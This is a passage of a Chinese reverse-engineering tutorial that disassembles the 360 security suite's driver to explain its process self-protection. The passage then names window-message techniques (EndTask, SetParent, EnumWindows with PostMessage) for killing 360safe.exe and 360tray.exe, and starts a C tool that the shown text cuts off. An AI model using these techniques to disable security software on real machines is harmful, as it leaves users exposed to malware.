www.jybase.net - 寂涯网络学习基地

404 Error: 抱歉, 您所查找的页面不存在, 可能已被删除或您输错了网址!

404错误,没有发现你要找的页面, 经砖家仔细研究结果如下:

首 页 | 在线视频观看 | 系统综合 | 网站相关 | 教程共享 | 网赚教程共享 | 精品软件下载 | 网盘搜


























免费教程_免费网赚教程_破解版软件-寂涯网络学习基地

当前位置: 主页 > 系统综合 > windows > 浅析360在系统的进程自保护及突破(2)

浅析360在系统的进程自保护及突破(2)

时间:2011-11-20 22:54来源:未知 整理:寂涯网络 点击:


test al, 8
jz short loc_1D9D6
xor edx, edx ; __int64
mov rcx, rbx ; DriverObject
call sub_1E710
cmp eax, edi
mov eax, cs:dword_59ED8
setnl cs:byte_59E13
loc_1D9D6:
test al, 10h
jz short loc_1D9EF
mov rcx, rbx ; DriverObject
call sub_2350C
cmp eax, edi

setnl al
mov cs:byte_59E14, al
jmp short loc_1D9F5
loc_1D9EF:
mov al, cs:byte_59E14
loc_1D9F5:
cmp cs:byte_59E13, dil  
jnz short loc_1DA03
cmp al, dil
jz short loc_1DA3A
loc_1DA03:
lea rax, qword_5A2B8
lea rcx, [rbx+70h]
loc_1DA0E:
cmp [rax-0E8h], rdi
jnz short loc_1DA1C
cmp [rax], rdi
jz short loc_1DA26
loc_1DA1C:
lea rdx, sub_1D888
mov [rcx], rdx
loc_1DA26:
lea rdx, unk_5A390
add rax, 8
add rcx, 8
cmp rax, rdx
jle short loc_1DA0E
loc_1DA3A:
call sub_1D4A0
lea rcx, sub_1D660
xor edx, edx
mov rbx, [rsp+28h+arg_0]
add rsp, 20h
pop rdi
jmp cs:PsSetCreateProcessNotifyRoutine
sub1D938 endp

我还找了找360实现进线程自保护的过程,但是能力有限,只找到一部分实现[进程自
保护]的过程,没有找到实现[线程自保护]的过程。如果读者有兴趣,可以自己找找:
 ; Maybe Protect Process
; int __cdecl sub_18294(HANDLE Handle, char)
sub_18294 proc near
var_58= qword ptr -58h
var_50= byte ptr -50h
var_48= qword ptr -48h
var_38= byte ptr -38h
var_10= qword ptr -10h
Handle= qword ptr 8
arg_8= byte ptr 10h
mov rax, rsp
mov [rax+8], rcx
push rbx
sub rsp, 70h
xor ebx, ebx
mov r10, rdx
mov [rax+8], rbx  
cmp rdx, rbx
jz loc_1834F
mov rax, cs:qword_59F10
cmp rax, rbx
jz short loc_182C8
mov rcx, rdx
call rax ; qword_59F10
jmp loc_18351
loc_182C8:
lea rax, [rsp+78h+Handle]
mov r9d, 80000000h
xor r8d, r8d
mov [rsp+78h+var_48], rax
mov rax, cs:PsProcessType
mov [rsp+78h+var_50], bl
mov rcx, [rax]
mov edx, 200h
mov [rsp+78h+var_58], rcx
mov rcx, r10
call cs:ObOpenObjectByPointer
cmp eax, ebx 
 jl short loc_1834F
mov rcx, [rsp+78h+Handle]
lea rax, [rsp+78h+arg_8]
lea r8, [rsp+78h+var_38]
mov r9d, 30h
xor edx, edx
mov [rsp+78h+var_58], rax
call ZwQueryInformationProcess
mov rcx, [rsp+78h+var_10]
cmp eax, ebx
cmovl rcx, rbx
mov [rsp+78h+var_10], rcx
mov rcx, [rsp+78h+Handle] ; Handle
call cs:ZwClose
mov rax, [rsp+78h+var_10]
jmp short loc_18351
loc_1834F: xor eax, eax
loc_18351:
add rsp, 70h
pop rbx
retn
sub_18294 endp

我觉得此函数的逻辑是这样:传入进程对象指针PEPROCESS (注意:我强烈觉得不是IDA
提示的 HANDLE 类型,而是PEPROCESS 类型。因为对于计算机看来,两者都是指针,没有任
何差别),然后利用ObOpenObjectByPointer获得进程的句柄,利用
ZwQueryInformationProcess获得进程PID,接着对比是否为要保护的进程,然后返回对比
 结果。至于关闭[由别的程序打开的][被保护进程的句柄],返回拒绝访问等操作,并不在这
一过程(这句话很拗口,请多读几次)。至于这个驱动是怎么保护线程的,我有自己的猜想
但并不确定,因为我并没有在反汇编代码中找到ZwQueryInformationThread(但是找到了
IoThreadToProcess)。有俗语云“骗得了别人骗不了自己”,由于没有形成让自己信服的逻
辑,所以不敢信口开河,误导读者。
知道了 360如何自我保护,攻破这套防御体系就简单了:利用窗口攻击即可。因为在
360 的驱动里没有防御窗口攻击的代码。准确地说,是微软没有提供解决窗口攻击官方解决
方案。至于窗口攻击的手段,用EndTask即可(大家可以试试用“任务管理器”的“结束任
务”来结束360safe.exe的主窗口),用SetWindowLong或 SetParent也可以。不过我用的
是EnumWindows + PostMessage的方案。代码很短,只有短短40行,但是对付360safe.exe
和 360tray.exe都可以:  
#include <stdio.h>
#include <Windows.h>
#pragma comment(lib,"user32.lib")
HWND hWnds[8192]={NULL};
DWORD dwCount=0;
UINT EnumWnd(HWND h, LPARAM Param)
{
    if (dwCount>=8192)
        return 0;

本页地址 http://www.jybase.net/windows/20111120646.html

百度搜索更多

谷歌搜索更多

顶一下
(0)
0%
踩一下
(0)
0%
------分隔线----------------------------

评价:
昵称: 验证码:点击我更换图片
推荐内容
赞助商
赞助商